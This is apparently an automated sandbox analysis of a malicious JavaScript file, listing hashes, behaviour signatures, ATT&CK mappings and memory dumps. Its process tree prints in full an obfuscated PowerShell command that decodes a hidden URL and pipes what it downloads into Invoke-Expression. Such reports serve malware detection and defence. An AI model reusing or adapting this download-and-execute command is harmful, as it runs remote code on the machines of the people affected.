f7b458806520970dfc71f85a1a298775716a74e7a103b42dd97520cb9126edee

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:50

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General

Target

9b0486b8047a9aa510a5b9d324a02e1039c178342690201da2b26ebad8265ad3.js
Size

201KB
MD5

9a49ba343c891aff5391cd0ae291e37f
SHA1

e24cd037b734afab053beec56160a06bcd8c66e1
SHA256

9b0486b8047a9aa510a5b9d324a02e1039c178342690201da2b26ebad8265ad3
SHA512

0e7dd2055308afe62d43388a40e4b97075a9317b1b94bd74cdeee88e11e22630a3868d59ee2fad4bb704a4965242c95243c7862e8dd9dfbbaf72613785e671d2
SSDEEP

1536:nwHi8BJQbeYCJHwax8nUV0YAlWZCr65lvxSs8v6BJQbeYCJHwax8nUHYAlWZCr6F:nfyPiy8ZyP7y8ay8dyPKyPC

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	872	4412	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	4868	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4868	powershell.exe
4868	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 872 wrote to memory of 4868	872	conhost.exe	84
PID 872 wrote to memory of 4868	872	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\9b0486b8047a9aa510a5b9d324a02e1039c178342690201da2b26ebad8265ad3.js
1⤵
PID:4488

C:\Windows\system32\conhost.exe
conhost --headless powershell $azqnbdofwlt='ur' ;new-alias printout c$($azqnbdofwlt)l;$jdwrfqinuelt=(1543,1554,1562,1546,1548,1543,1563,1562,1567,1500,1562,1496,1543,1491,1561,1556,1557,1492,1494,1491,1557,1549,1557,1508,1560,1506,1554,1550,1555,1561,1560,1495,1494);$ucpqoltaehvbmk=('bronx','get-cmdlet');$srqziepjkhbyvx=$jdwrfqinuelt;foreach($uwglnrizxs in $srqziepjkhbyvx){$hwruaqsdcxi=$uwglnrizxs;$tvkpdhrsnba=$tvkpdhrsnba+[char]($hwruaqsdcxi-1445);$sgdtjfvemplrck=$tvkpdhrsnba; $ubrzyqv=$sgdtjfvemplrck};$oefsrvht[2]=$ubrzyqv;$infutvxwmhqbjr='rl';$lnvmsegtdkr=1;.$([char](9992-9887)+'e'+'x')(printout -useb $ubrzyqv)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $azqnbdofwlt='ur' ;new-alias printout c$($azqnbdofwlt)l;$jdwrfqinuelt=(1543,1554,1562,1546,1548,1543,1563,1562,1567,1500,1562,1496,1543,1491,1561,1556,1557,1492,1494,1491,1557,1549,1557,1508,1560,1506,1554,1550,1555,1561,1560,1495,1494);$ucpqoltaehvbmk=('bronx','get-cmdlet');$srqziepjkhbyvx=$jdwrfqinuelt;foreach($uwglnrizxs in $srqziepjkhbyvx){$hwruaqsdcxi=$uwglnrizxs;$tvkpdhrsnba=$tvkpdhrsnba+[char]($hwruaqsdcxi-1445);$sgdtjfvemplrck=$tvkpdhrsnba; $ubrzyqv=$sgdtjfvemplrck};$oefsrvht[2]=$ubrzyqv;$infutvxwmhqbjr='rl';$lnvmsegtdkr=1;.$([char](9992-9887)+'e'+'x')(printout -useb $ubrzyqv)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmun5ccs.4x3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4868-0-0x00007FFD22063000-0x00007FFD22065000-memory.dmp

Filesize
8KB

Download
memory/4868-1-0x00000203A8C70000-0x00000203A8C92000-memory.dmp

Filesize
136KB

Download
memory/4868-11-0x00007FFD22060000-0x00007FFD22B21000-memory.dmp

Filesize
10.8MB

Download
memory/4868-12-0x00007FFD22060000-0x00007FFD22B21000-memory.dmp

Filesize
10.8MB

Download
memory/4868-13-0x00007FFD22060000-0x00007FFD22B21000-memory.dmp

Filesize
10.8MB

Download
memory/4868-14-0x00007FFD22060000-0x00007FFD22B21000-memory.dmp

Filesize
10.8MB

Download
memory/4868-15-0x00007FFD22063000-0x00007FFD22065000-memory.dmp

Filesize
8KB

Download
memory/4868-16-0x00007FFD22060000-0x00007FFD22B21000-memory.dmp

Filesize
10.8MB

Download
memory/4868-19-0x00007FFD22060000-0x00007FFD22B21000-memory.dmp

Filesize
10.8MB

Download